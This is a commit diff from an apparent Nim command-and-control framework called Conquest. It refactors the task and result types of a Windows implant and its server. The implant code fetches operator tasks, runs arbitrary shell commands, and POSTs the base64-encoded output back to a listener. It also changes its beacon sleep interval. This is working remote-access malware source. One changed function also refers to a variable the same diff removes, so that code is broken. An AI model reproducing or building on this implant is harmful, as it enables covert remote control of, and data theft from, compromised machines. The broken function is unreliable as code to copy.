Seperated Task and TaskResult types.
This commit is contained in:
@@ -60,7 +60,7 @@ proc main() =
|
||||
|
||||
# Execute all retrieved tasks and return their output to the server
|
||||
for task in tasks:
|
||||
let result = task.handleTask(config)
|
||||
let result: TaskResult = task.handleTask(config)
|
||||
discard config.postResults(agent, result)
|
||||
|
||||
when isMainModule:
|
||||
|
||||
@@ -1,14 +1,24 @@
|
||||
import winim, osproc, strutils, strformat
|
||||
import winim, osproc, strutils, strformat, base64
|
||||
|
||||
import ../types
|
||||
|
||||
proc taskShell*(command: seq[string]): tuple[output: TaskResult, status: TaskStatus] =
|
||||
proc taskShell*(task: Task): TaskResult =
|
||||
|
||||
echo "Executing command: ", command.join(" ")
|
||||
echo "Executing command: ", task.args.join(" ")
|
||||
|
||||
try:
|
||||
let (output, status) = execCmdEx(command.join(" "))
|
||||
return (output, Completed)
|
||||
let (output, status) = execCmdEx(task.args.join(" "))
|
||||
return TaskResult(
|
||||
task: task.id,
|
||||
agent: task.agent,
|
||||
data: encode(output),
|
||||
status: Completed
|
||||
)
|
||||
|
||||
except CatchableError as err:
|
||||
return (fmt"An error occured: {err.msg}" & "\n", Failed)
|
||||
return TaskResult(
|
||||
task: task.id,
|
||||
agent: task.agent,
|
||||
data: encode(fmt"An error occured: {err.msg}" & "\n"),
|
||||
status: Failed
|
||||
)
|
||||
|
||||
@@ -1,14 +1,24 @@
|
||||
import os, strutils, strformat
|
||||
import os, strutils, strformat, base64
|
||||
|
||||
import ../types
|
||||
|
||||
proc taskSleep*(delay: int): tuple[output: TaskResult, status: TaskStatus] =
|
||||
proc taskSleep*(task: Task): TaskResult =
|
||||
|
||||
echo fmt"Sleeping for {$delay} seconds."
|
||||
echo fmt"Sleeping for {task.args[0]} seconds."
|
||||
|
||||
try:
|
||||
sleep(delay * 1000)
|
||||
return ("", Completed)
|
||||
sleep(parseInt(task.args[0]) * 1000)
|
||||
return TaskResult(
|
||||
task: task.id,
|
||||
agent: task.agent,
|
||||
data: encode(""),
|
||||
status: Completed
|
||||
)
|
||||
|
||||
except CatchableError as err:
|
||||
return (fmt"An error occured: {err.msg}" & "\n", Failed)
|
||||
return TaskResult(
|
||||
task: task.id,
|
||||
agent: task.agent,
|
||||
data: encode(fmt"An error occured: {err.msg}" & "\n"),
|
||||
status: Failed
|
||||
)
|
||||
@@ -49,20 +49,20 @@ proc getTasks*(config: AgentConfig, agent: string): seq[Task] =
|
||||
|
||||
return @[]
|
||||
|
||||
proc postResults*(config: AgentConfig, agent: string, task: Task): bool =
|
||||
proc postResults*(config: AgentConfig, agent: string, taskResult: TaskResult): bool =
|
||||
|
||||
let client = newAsyncHttpClient()
|
||||
|
||||
# Define headers
|
||||
client.headers = newHttpHeaders({ "Content-Type": "application/json" })
|
||||
|
||||
let taskJson = %task
|
||||
let taskJson = %taskResult
|
||||
|
||||
echo $taskJson
|
||||
|
||||
try:
|
||||
# Register agent to the Conquest server
|
||||
discard waitFor client.postContent(fmt"http://{config.ip}:{$config.port}/{config.listener}/{agent}/{task.id}/results", $taskJson)
|
||||
discard waitFor client.postContent(fmt"http://{config.ip}:{$config.port}/{config.listener}/{agent}/{taskResult.task}/results", $taskJson)
|
||||
except CatchableError as err:
|
||||
# When the listener is not reachable, don't kill the application, but check in at the next time
|
||||
echo "[-] [postResults]: ", err.msg
|
||||
|
||||
@@ -2,4 +2,4 @@
|
||||
-d:ListenerUuid="KPDHWZNT"
|
||||
-d:ListenerIp="localhost"
|
||||
-d:ListenerPort=7777
|
||||
-d:SleepDelay=0
|
||||
-d:SleepDelay=10
|
||||
|
||||
@@ -1,49 +1,28 @@
|
||||
import base64, strutils
|
||||
import strutils
|
||||
import ./types
|
||||
import ./commands/commands
|
||||
|
||||
proc handleTask*(task: Task, config: AgentConfig): Task =
|
||||
proc handleTask*(task: Task, config: AgentConfig): TaskResult =
|
||||
|
||||
# Handle task command
|
||||
case task.command:
|
||||
|
||||
of ExecuteShell:
|
||||
|
||||
let (output, status) = taskShell(task.args)
|
||||
echo output
|
||||
let taskResult = taskShell(task)
|
||||
echo taskResult.data
|
||||
return taskResult
|
||||
|
||||
return Task(
|
||||
id: task.id,
|
||||
agent: task.agent,
|
||||
command: task.command,
|
||||
args: task.args,
|
||||
result: encode(output), # Base64 encode result
|
||||
status: status
|
||||
)
|
||||
|
||||
of Sleep:
|
||||
# Parse arguments
|
||||
let delay: int = parseInt(task.args[0])
|
||||
|
||||
of Sleep:
|
||||
# Execute task
|
||||
let (output, status) = taskSleep(delay)
|
||||
let taskResult = taskSleep(task)
|
||||
|
||||
# Update sleep delay in agent config
|
||||
if status == Completed:
|
||||
if taskResult.status == Completed:
|
||||
config.sleep = delay
|
||||
|
||||
# Return result
|
||||
return Task(
|
||||
id: task.id,
|
||||
agent: task.agent,
|
||||
command: task.command,
|
||||
args: task.args,
|
||||
result: encode(output),
|
||||
status: status
|
||||
)
|
||||
return taskResult
|
||||
|
||||
else:
|
||||
echo "Not implemented"
|
||||
return nil
|
||||
|
||||
return task
|
||||
return nil
|
||||
@@ -208,19 +208,19 @@ proc getTasks*(listener, agent: string): JsonNode =
|
||||
# return nil
|
||||
|
||||
# Return tasks in JSON format
|
||||
return %cq.agents[agent.toUpperAscii].tasks.filterIt(it.status != Completed)
|
||||
return %cq.agents[agent.toUpperAscii].tasks
|
||||
|
||||
proc handleResult*(listener, agent, task: string, taskResult: Task) =
|
||||
proc handleResult*(listener, agent, task: string, taskResult: TaskResult) =
|
||||
|
||||
{.cast(gcsafe).}:
|
||||
|
||||
cq.writeLine(fgBlack, styleBright, fmt"[*] [{task}] ", resetStyle, "Task execution finished.")
|
||||
|
||||
if taskResult.result != "":
|
||||
if taskResult.data != "":
|
||||
cq.writeLine(fgBlack, styleBright, fmt"[*] [{task}] ", resetStyle, "Output:")
|
||||
|
||||
# Split result string on newline to keep formatting
|
||||
for line in decode(taskResult.result).split("\n"):
|
||||
for line in decode(taskResult.data).split("\n"):
|
||||
cq.writeLine(line)
|
||||
|
||||
# Update task queue to include all tasks, except the one that was just completed
|
||||
|
||||
@@ -11,8 +11,6 @@ proc taskExecuteShell*(cq: Conquest, arguments: seq[string]) =
|
||||
agent: cq.interactAgent.name,
|
||||
command: ExecuteShell,
|
||||
args: arguments,
|
||||
result: "",
|
||||
status: Created
|
||||
)
|
||||
|
||||
# Add new task to the agent's task queue
|
||||
|
||||
@@ -20,8 +20,6 @@ proc taskExecuteSleep*(cq: Conquest, delay: int) =
|
||||
agent: cq.interactAgent.name,
|
||||
command: Sleep,
|
||||
args: @[$delay],
|
||||
result: "",
|
||||
status: Created
|
||||
)
|
||||
|
||||
# Add new task to the agent's task queue
|
||||
|
||||
@@ -101,7 +101,7 @@ proc postResults*(ctx: Context) {.async.} =
|
||||
try:
|
||||
let
|
||||
taskResultJson: JsonNode = parseJson(ctx.request.body)
|
||||
taskResult: Task = taskResultJson.to(Task)
|
||||
taskResult: TaskResult = taskResultJson.to(TaskResult)
|
||||
|
||||
# Handle and display task result
|
||||
handleResult(listener, agent, task, taskResult)
|
||||
|
||||
@@ -17,34 +17,23 @@ type
|
||||
Sleep = "sleep"
|
||||
|
||||
TaskStatus* = enum
|
||||
Created = "created"
|
||||
Completed = "completed"
|
||||
Created = "created"
|
||||
Pending = "pending"
|
||||
Failed = "failed"
|
||||
Cancelled = "cancelled"
|
||||
|
||||
TaskResult* = string
|
||||
|
||||
#[
|
||||
TaskResult*[T] = ref object
|
||||
data*: T
|
||||
|
||||
Task*[T] = ref object
|
||||
id*: string
|
||||
agent*: string
|
||||
command*: TaskCommand
|
||||
args*: seq[string]
|
||||
result*: TaskResult[T]
|
||||
status*: TaskStatus
|
||||
]#
|
||||
TaskResult* = ref object
|
||||
task*: string
|
||||
agent*: string
|
||||
data*: string
|
||||
status*: TaskStatus
|
||||
|
||||
Task* = ref object
|
||||
id*: string
|
||||
agent*: string
|
||||
command*: TaskCommand
|
||||
args*: seq[string]
|
||||
result*: TaskResult
|
||||
status*: TaskStatus
|
||||
args*: seq[string]
|
||||
|
||||
AgentRegistrationData* = object
|
||||
username*: string
|
||||
|
||||
Reference in New Issue
Block a user